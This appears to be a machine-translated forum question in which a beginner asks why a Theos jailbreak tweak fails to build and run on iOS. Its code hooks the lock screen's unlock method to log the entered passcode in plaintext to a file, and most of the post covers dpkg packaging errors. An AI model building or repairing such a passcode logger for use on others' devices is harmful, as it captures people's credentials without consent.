我将所有文件上传到GitHub上,以便更轻松,因为我无法确定问题所在:https://github.com/Coler234/PasswordLogger
我只是设置我的回购,现在我正在尝试创建我的第一个调整。它应该做的是记录输入的密码。我正在观看一个YouTube系列,这是他展示的标题之一。我的代码是:
%hook SBDeviceLockController
- (_Bool)attemptDeviceUnlockWithPassword:(id)arg1 appRequested:(_Bool)arg2{
passwordSubmitted = arg1;
//Create the log file, and submit the query
//if file does not exist{
if(![[NSFileManager defaultManager]fileExistsAtPath:filePath]){
NSString *content = (passwordSubmitted);
NSData *fileContents = [content dataUsingEncoding:NSUTF8StringEncoding];
[[NSFileManager defaultManager] createFileAtPath:@"log.txt"
contents:fileContents
attributes:nil];
}else{
NSFileHandle *myHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
[myHandle seekToEndOfFile];
[myHandle writeData:[passwordSubmitted dataUsingEncoding:NSUTF8StringEncoding]];
}
//}else{
//So if it does extist, just write the new entry into the file
//}
%orig;
return passwordSubmitted;
UIAlertView* alert = [[UIAlertView alloc] initWithTitle:@"Password:" message:@"Test" delegate:nil cancelButtonTitle:@"Ok" otherButtonTitles:nil];
[alert show];
[alert release];
}
%end
当我尝试使用make package message=yes
进行编译时,我收到错误/sw/bin/dpkg-deb: unknown option -Z
。我无法找到有关此问题的任何内容,因此我进入代码并删除了运行命令Zlzma
时运行的deb.mk文件中$(ECHO_NOTHING)COPYFILE_DISABLE=1 $(FAKEROOT) -r $(_THEOS_PLATFORM_DPKG_DEB) -Zlzma -b "$(THEOS_STAGING_DIR)" "$(_THEOS_DEB_PACKAGE_FILENAME)"$(ECHO_END)
中的make package
。 / p>
然后它返回:
#@(COPYFILE_DISABLE=1 /Users/Panja/theos/bin/fakeroot.sh -p "/Users/Panja/Desktop/Tweaks/firsttweak/.theos/fakeroot" -r dpkg-deb -Zlzma -b "/Users/Panja/Desktop/Tweaks/firsttweak/.theos/_" "./packages/com.fmancoding.firsttweak_0.1.7-4+debug_iphoneos-arm.deb")
所以我去./theos/-和.dylib
文件和.plist
文件是他们的,以及控制文件,它们是目录格式。所以我使用我上传未签名的应用程序时发现的命令自己编译.deb
文件并将其上传到我的仓库。我没有任何问题地下载了调整但没有任何效果。
然后我在网上获得了一段基本代码并尝试编译。我得到了同样的错误,去了隐藏的theos文件夹,抓取文件,将其编译为deb文件,并上传它。该代码仍无效。
我上网的代码:
%hook SBApplicationIcon
-(void)launch
{
NSString *appName = [self displayName];
NSString *message = [NSString stringWithFormat:@"The app %@ has been launched", appName, nil];
UIAlertView *alert = [[UIAlertView alloc] initWithTitle:appName message:message delegate:self cancelButtonTitle:@"OK" otherButtonTitles:nil];
[alert show];
[alert release];
%orig;
}
%end
很抱歉,这太长了,但即使我搜索过的所有内容,也无法找到任何问题的答案。
感谢您的帮助,非常感谢。
更新:正在加载调整:Jul 7 20:15:54 iPhone SpringBoard[2641] <Notice>: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/FirstTweak.dylib
更新2:com.apple.springboard
正在加载,而不是com.apple.SpringBoard
:
7月7日20:26:22 iPhone SpringBoard [2699]:MS:注意:注入:com.apple.springboard [SpringBoard](1241.11)